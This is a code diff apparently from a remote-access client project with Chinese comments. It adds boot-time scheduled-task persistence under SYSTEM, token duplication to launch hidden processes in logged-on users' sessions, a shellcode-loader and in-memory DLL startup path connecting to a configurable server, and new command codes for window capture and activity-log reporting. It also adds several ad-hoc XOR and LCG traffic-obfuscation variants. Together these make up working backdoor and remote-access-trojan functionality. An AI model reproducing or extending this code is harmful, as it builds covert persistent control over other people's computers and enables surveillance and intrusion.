|
CloseHandle(token);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||||
{
|
{
|
||||||
SHELLEXECUTEINFOA shExecInfo;
|
SHELLEXECUTEINFOA shExecInfo;
|
||||||
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
|
|||||||
return folder;
|
return folder;
|
||||||
}
|
}
|
||||||
|
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
|
||||||
{
|
{
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
return 1;
|
return 1;
|
||||||
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
char dstFile[MAX_PATH] = { 0 };
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
||||||
BOOL isAdmin = IsRunningAsAdmin();
|
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
|
||||||
if (isAdmin) runasAdmin = true;
|
bool bootRun = false;
|
||||||
|
if (isAdmin) {
|
||||||
|
bootRun = runasAdmin == 2;
|
||||||
|
runasAdmin = true;
|
||||||
|
}
|
||||||
if (_stricmp(curFile, dstFile) != 0) {
|
if (_stricmp(curFile, dstFile) != 0) {
|
||||||
if (!isAdmin) {
|
if (!isAdmin) {
|
||||||
if (runasAdmin) {
|
if (runasAdmin) {
|
||||||
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
||||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||||
|
|
||||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (b && status) {
|
if (b && status) {
|
||||||
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||||
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (lockFile)
|
if (lockFile)
|
||||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|||||||
@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
|
|||||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||||
|
|
||||||
// return > 0 means to continue running else terminate.
|
// return > 0 means to continue running else terminate.
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
|
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||||
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
|
||||||
|
|
||||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||||
bool IsSystemInSession0();
|
bool IsSystemInSession0();
|
||||||
|
|||||||
176
client/session.cpp
Normal file
@@ -0,0 +1,176 @@
|
|||||||
|
#include "session.h"
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "common/logger.h"
|
||||||
|
#pragma comment(lib, "Wtsapi32.lib")
|
||||||
|
#pragma comment(lib, "Userenv.lib")
|
||||||
|
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||||
|
|
||||||
|
static DWORD g_lastIndex = 0;
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin()
|
||||||
|
{
|
||||||
|
PWTS_SESSION_INFOA sessions = NULL;
|
||||||
|
DWORD count = 0;
|
||||||
|
|
||||||
|
if (!WTSEnumerateSessionsA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
0,
|
||||||
|
1,
|
||||||
|
&sessions,
|
||||||
|
&count))
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count == 0)
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD start = g_lastIndex;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
DWORD idx = (start + i) % count;
|
||||||
|
|
||||||
|
DWORD sessionId = sessions[idx].SessionId;
|
||||||
|
|
||||||
|
// 过滤无效 session
|
||||||
|
if (sessionId == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
WTS_CONNECTSTATE_CLASS* state = NULL;
|
||||||
|
DWORD bytes = 0;
|
||||||
|
|
||||||
|
if (WTSQuerySessionInformationA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
sessionId,
|
||||||
|
WTSConnectState,
|
||||||
|
(LPSTR*)&state,
|
||||||
|
&bytes))
|
||||||
|
{
|
||||||
|
BOOL ok = (state && (
|
||||||
|
*state == WTSActive ||
|
||||||
|
*state == WTSConnected));
|
||||||
|
|
||||||
|
WTSFreeMemory(state);
|
||||||
|
|
||||||
|
if (ok)
|
||||||
|
{
|
||||||
|
g_lastIndex = (idx + 1) % count;
|
||||||
|
DWORD result = sessionId;
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
HANDLE hDupToken = NULL;
|
||||||
|
// 获取当前服务进程的 SYSTEM 令牌
|
||||||
|
char buf[500];
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||||
|
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复制为可用于创建进程的主令牌
|
||||||
|
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||||
|
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||||
|
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改令牌的会话 ID 为目标用户会话
|
||||||
|
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||||
|
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hDupToken);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("Token duplicated");
|
||||||
|
|
||||||
|
char path[MAX_PATH];
|
||||||
|
if (!exePath)
|
||||||
|
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||||
|
else
|
||||||
|
lstrcpyA(path, exePath);
|
||||||
|
|
||||||
|
// 获取用户令牌(用于获取环境块)
|
||||||
|
LPVOID lpEnvironment = NULL;
|
||||||
|
HANDLE hUserToken = NULL;
|
||||||
|
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||||
|
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用用户令牌创建环境块
|
||||||
|
if (hUserToken) {
|
||||||
|
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||||
|
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
CloseHandle(hUserToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
STARTUPINFOA si = { 0 };
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.lpDesktop = (LPSTR)"winsta0\\default";
|
||||||
|
char cmdStr[300];
|
||||||
|
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
|
||||||
|
BOOL result = CreateProcessAsUserA(
|
||||||
|
hDupToken,
|
||||||
|
NULL,
|
||||||
|
(LPSTR)cmdStr,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
FALSE,
|
||||||
|
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
lpEnvironment,
|
||||||
|
NULL,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
if (result)
|
||||||
|
{
|
||||||
|
Mprintf("CreateProcessAsUserA Succeed\n");
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hDupToken);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd)
|
||||||
|
{
|
||||||
|
DWORD sessionId = GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
if (sessionId == 0xFFFFFFFF)
|
||||||
|
return;
|
||||||
|
|
||||||
|
StartProcessInSessionA(sessionId, NULL, cmd);
|
||||||
|
}
|
||||||
7
client/session.h
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd);
|
||||||
@@ -8,6 +8,7 @@
|
|||||||
#include <common/md5.h>
|
#include <common/md5.h>
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
|
#include "Common.h"
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
// #include "SCLoader.cpp"
|
// #include "SCLoader.cpp"
|
||||||
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
|
|||||||
|
|
||||||
typedef BOOL (*IsExit)();
|
typedef BOOL (*IsExit)();
|
||||||
|
|
||||||
|
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
||||||
|
|
||||||
// 停止程序运行
|
// 停止程序运行
|
||||||
StopRun stop = NULL;
|
StopRun stop = NULL;
|
||||||
|
|
||||||
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 运行程序.
|
// 运行程序.
|
||||||
BOOL Run(const char* argv1, int argv2);
|
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
||||||
|
|
||||||
// Package header.
|
// Package header.
|
||||||
typedef struct PkgHeader {
|
typedef struct PkgHeader {
|
||||||
@@ -305,16 +308,19 @@ int InjectShellcode(BYTE* buf, int len) {
|
|||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||||
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||||
|
if (!runCmd) {
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
|
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
||||||
|
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
||||||
// 注册启动项
|
// 注册启动项
|
||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||||
@@ -360,6 +366,7 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
status = 0;
|
status = 0;
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
|
|||||||
do {
|
do {
|
||||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
||||||
|
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
||||||
if (ret == 1) {
|
if (ret == 1) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 传入命令行参数: IP 和 端口.
|
// 传入命令行参数: IP 和 端口.
|
||||||
BOOL Run(const char* argv1, int argv2)
|
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
||||||
{
|
{
|
||||||
BOOL result = FALSE;
|
BOOL result = FALSE;
|
||||||
char path[_MAX_PATH], * p = path;
|
char path[_MAX_PATH], * p = path;
|
||||||
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
case Startup_DLL:
|
case Startup_DLL:
|
||||||
runner = new DefaultDllRunner;
|
runner = new DefaultDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_MEMDLL:
|
case Startup_MEMDLL: case Startup_TestRunSystem :
|
||||||
runner = new MemoryDllRunner;
|
runner = new MemoryDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_InjSC:
|
case Startup_InjSC:
|
||||||
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||||
|
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
||||||
|
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
||||||
if (NULL == run) {
|
if (NULL == run) {
|
||||||
if (hDll) runner->FreeLibrary(hDll);
|
if (hDll) runner->FreeLibrary(hDll);
|
||||||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||||||
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
port = cfg.Get1Int("settings", "port", ';', 6543);
|
port = cfg.Get1Int("settings", "port", ';', 6543);
|
||||||
}
|
}
|
||||||
Mprintf("[server] %s:%d\n", ip, port);
|
Mprintf("[server] %s:%d\n", ip, port);
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = {nCmd};
|
||||||
|
if (cmd) nCmd = cmd(buf, 1);
|
||||||
|
result = 1;
|
||||||
|
Mprintf("Finish run command. Result: %d\n", nCmd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
do {
|
do {
|
||||||
run(ip, port);
|
run(ip, port);
|
||||||
while (bStop && !bStop() && 0 == status)
|
while (bStop && !bStop() && 0 == status)
|
||||||
|
|||||||
@@ -34,7 +34,14 @@
|
|||||||
#define AUTO_TICK(p, q)
|
#define AUTO_TICK(p, q)
|
||||||
#define STOP_TICK
|
#define STOP_TICK
|
||||||
#define OutputDebugStringA(p) printf(p)
|
#define OutputDebugStringA(p) printf(p)
|
||||||
|
#define decrypt_v7 decrypt_v1
|
||||||
|
#define decrypt_v8 decrypt_v2
|
||||||
|
#define decrypt_v9 decrypt_v3
|
||||||
|
#define decrypt_v10 decrypt_v4
|
||||||
|
#define encrypt_v7 encrypt_v1
|
||||||
|
#define encrypt_v8 encrypt_v2
|
||||||
|
#define encrypt_v9 encrypt_v3
|
||||||
|
#define encrypt_v10 encrypt_v4
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||||||
|
|
||||||
@@ -304,6 +311,14 @@ enum {
|
|||||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
||||||
TOKEN_DRAWING_BOARD=151, // 画板
|
TOKEN_DRAWING_BOARD=151, // 画板
|
||||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||||
|
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||||
|
COMMAND_SCREEN_SIGNATURE = 154,
|
||||||
|
COMMAND_QUERY_LOG = 155,
|
||||||
|
TOKEN_REPORT_LOG = 156,
|
||||||
|
COMMAND_FORBIDDEN = 157,
|
||||||
|
CMD_CUSTOM_CURSOR = 158,
|
||||||
|
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||||
|
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
@@ -341,9 +356,15 @@ enum {
|
|||||||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||||
COMMAND_TEXT_REPLACE = 249,
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
TOKEN_CLIP_TEXT = 250,
|
TOKEN_CLIP_TEXT = 250,
|
||||||
|
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||||
};
|
};
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
|
struct SignatureResp {
|
||||||
|
char msg[64];
|
||||||
|
char signature[64];
|
||||||
|
};
|
||||||
|
|
||||||
struct TextReplace {
|
struct TextReplace {
|
||||||
uint8_t cmd;
|
uint8_t cmd;
|
||||||
uint8_t type;
|
uint8_t type;
|
||||||
@@ -651,6 +672,7 @@ enum {
|
|||||||
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
||||||
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
||||||
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
|
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
|
||||||
|
CLIENT_TYPE_ANDROID = 8, // ANDROID 客户端
|
||||||
};
|
};
|
||||||
|
|
||||||
enum {
|
enum {
|
||||||
@@ -678,6 +700,8 @@ inline const char* GetClientType(int typ)
|
|||||||
return "LNX";
|
return "LNX";
|
||||||
case CLIENT_TYPE_MACOS:
|
case CLIENT_TYPE_MACOS:
|
||||||
return "MAC";
|
return "MAC";
|
||||||
|
case CLIENT_TYPE_ANDROID:
|
||||||
|
return "APK";
|
||||||
default:
|
default:
|
||||||
return "DLL";
|
return "DLL";
|
||||||
}
|
}
|
||||||
@@ -724,6 +748,8 @@ enum TestRunType {
|
|||||||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||||||
Startup_GhostMsc, // Windows 服务
|
Startup_GhostMsc, // Windows 服务
|
||||||
Startup_TestRunMsc, // Windows 服务
|
Startup_TestRunMsc, // Windows 服务
|
||||||
|
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
|
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
};
|
};
|
||||||
|
|
||||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||||
@@ -1086,6 +1112,7 @@ enum AuthStatus {
|
|||||||
UNAUTHORIZED = 0, // 未授权
|
UNAUTHORIZED = 0, // 未授权
|
||||||
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
||||||
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
||||||
|
AUTH_FORBIDDEN = 9,
|
||||||
};
|
};
|
||||||
|
|
||||||
// 固定1024字节
|
// 固定1024字节
|
||||||
@@ -1281,7 +1308,8 @@ typedef struct ScreenSettings {
|
|||||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||||
int EncodeLevel; // 偏移 48, 编码等级
|
int EncodeLevel; // 偏移 48, 编码等级
|
||||||
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
int CustomCursor; // 偏移 52, 自定义光标
|
||||||
|
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
|
||||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||||
} ScreenSettings; // 总大小 100 字节
|
} ScreenSettings; // 总大小 100 字节
|
||||||
|
|
||||||
|
|||||||
@@ -133,3 +133,19 @@ inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key)
|
|||||||
{
|
{
|
||||||
encrypt_v6(data, length, key); // 异或的自反性
|
encrypt_v6(data, length, key); // 异或的自反性
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// v7: LCG 流 + 位偏置(非自反,需对应 decrypt_v7 解密)
|
||||||
|
void encrypt_v7(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v7(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v8: 循环位移 + LCG 异或流(非自反)
|
||||||
|
void encrypt_v8(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v8(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v9: 双层密码(逐字节替换 + 前向链式异或)
|
||||||
|
void encrypt_v9(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v9(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v10: BCrypt HMAC-SHA256 密钥流(XOR 自反)
|
||||||
|
void encrypt_v10(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v10(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|||||||
@@ -20,6 +20,10 @@ enum HeaderEncType {
|
|||||||
HeaderEncV4,
|
HeaderEncV4,
|
||||||
HeaderEncV5,
|
HeaderEncV5,
|
||||||
HeaderEncV6,
|
HeaderEncV6,
|
||||||
|
HeaderEncV7,
|
||||||
|
HeaderEncV8,
|
||||||
|
HeaderEncV9,
|
||||||
|
HeaderEncV10,
|
||||||
HeaderEncNum,
|
HeaderEncNum,
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -91,7 +95,8 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key)
|
|||||||
|
|
||||||
inline EncFun GetHeaderEncoder(HeaderEncType type)
|
inline EncFun GetHeaderEncoder(HeaderEncType type)
|
||||||
{
|
{
|
||||||
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 };
|
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6,
|
||||||
|
encrypt_v7, encrypt_v8, encrypt_v9, encrypt_v10 };
|
||||||
return methods[type];
|
return methods[type];
|
||||||
}
|
}
